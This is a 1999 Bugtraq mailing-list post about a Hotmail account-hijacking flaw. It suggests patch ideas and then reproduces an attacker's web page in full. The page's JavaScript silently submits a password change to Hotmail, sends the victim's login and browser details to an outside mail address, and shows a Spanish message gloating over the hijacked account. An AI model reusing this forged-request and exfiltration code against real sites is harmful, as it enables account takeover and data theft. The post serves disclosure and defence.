Bugtraq mailing list archives

hotmail claims vulnerability patched, so here it is

From: david () KASEY UMKC EDU (David L. Nicol)
Date: Wed, 5 May 1999 17:31:34 -0500

Dear Paul:

I am reading your previous article on hotmail security,
http://www.news.com/News/Item/0,4,33996,00.html

and I'm CCing this message to the bugtraq list.

A good patch from Hotmail would have to involve some additional
info with the cookie.

A couple of approaches that come to mind include:

 verifying http_referer data in the script submission to make sure its
 from the expected  hotmail page

 putting additional hidden key fields with constantly changing names
and values on submittalbe pages, to provide verification that the pages
are legit

 investigating any incidents of pages being submitted with incorrect,
nonexistent, or unexpected "secret flag fields" as described above

I don't work for hotmail (as you know) and I am caught up in this
as a bystander;

I would expect hotmail to give you a explanation of their patch that not
only is detailed but makes sense and that you cannot find a hole in.

If hotmail merely changed the names of variables, or did a similar
short term fix, the next expolit might not be nice enough to announce
itself as such.  Modifying  the attached El Lite exploit to only work
if it had a particular hotmail account might be a piece of cake;
allowing
for some highly targeted kinds of attacks. (esp. if a hotmail user is
doing anything involving return-email verification, like tipjar or first
virtual.)



Here is the hacker's tripod page, including the exploit that
takes advantage of the trust hotmail has for instructions from
your browser, by secretly sending instructions to hotmail to change
your password to




<HTML>
<kraffa2="<HEAD>
delete
 this portion.-->

<scrypt language="JavaScrypt">



function TripodShowPopup()
{
        // open the popup window
        var popupURL =
"http://members.tripod.com/adm/popup/roadmap.shtml";;
        var popup =
window.open(popupURL,"TripodPopup",'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,height=105');
        // set the opener if it's not already set.  it's set
automatically
        // in netscape 3.0+ and ie 3.0+.
        if( navigator.appName.substring(0,8) == "Netscape" )
        {
                popup.location = popupURL;
        }
}

TripodShowPopup();

// -->


</scrypt>

<base href="http://members.tripod.com/kraffa2/Hook.html";>
</HEAD>

<body>
<scrypt>

function getCGIValue(nombre, elURL)
        {
        elURL= elURL;
        nombre= nombre+"=";
        vacio="";
        found= elURL.indexOf(nombre);
        if (found > -1)
                {
                found2= elURL.indexOf("&",found);
                found+= nombre.length;
                end= (found2 > -1) ? found2 : elURL.length;
                var value= elURL.substring(found, end);
                value= (value != null) ? value : vacio;
                return value;

                }
        else {return vacio;}

}

Query= unescape(self.location.search);
disk= getCGIValue("disk", Query);
login= getCGIValue("login", Query);
host= "www.hotmail.com";
hintq= escape('<img
src="http://www.badenpage.de/pirate/bilder/flagge.jpg";><br><center>by El
Lite©</center>');
hinta= '%66axf%61x';
TheURL=
"http://
"+host+"/cgi-bin/dopassword?"+"disk="+disk+"&login="+login+"&f=34145&curmbox=ACTIVE&_lang=&np=yes&new_%70%61%73s%77d=%6B%6B%6A%6A01&new_%70%61%73s%77d2=kk%6A%6A01&hi%6E%74q="+hintq+"&hinta="+hinta;
Mail=
"http://www.tipjar.com/cgi-bin/generic?mailto=paulinaporizkova () hotmail com&mailfrom=
"+login+"@hotmail.com&subject="+login+"+HMpass+cambiada+%0A%0ASu+navegador+es+"+escape(navigator.userAgent+"\n.\n");

options=
'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,height=105';

HOTMAIL= window.open(TheURL,"HOTMAIL",options);
self.focus();
setTimeout("HOTMAIL.close()",8000);

MAIL= window.open(Mail,"MAIL",options);
self.focus();
setTimeout("MAIL.close()",8000);



//-->
</scrypt>



<pre><b>

  Uno de los mejores correos gratis que existen es precisamente el que
  tu estás usando, hotmail. Su seguridad e inviolabilidad son ya
legendarias.

  Tanto es así que mira por donde a partir de este mismísimo momento las
  cosas van a tomar otro cariz. Quiero decir que lamentándolo mucho tu
  dirección de hotmail ha sido inutilizada, o mejor dicho, secuestrada
por mi.

  Ya nunca mas podrás entrar en ella.

  Así de definitivo. Ahora es

                                SOLO MIAAA!!!! :-))))

  Como soy un buenazo y no eres mi única víctima pues un dia de estos
voy a
  publicar en es.comp.hackers la password que os puse (es la misma para
todos
  vosotros pardillos)

  Hala, que te sea leve

  El Lite&copy;
</b>
</body>
</html>
Current thread:

hotmail claims vulnerability patched, so here it is David L. Nicol (May 05)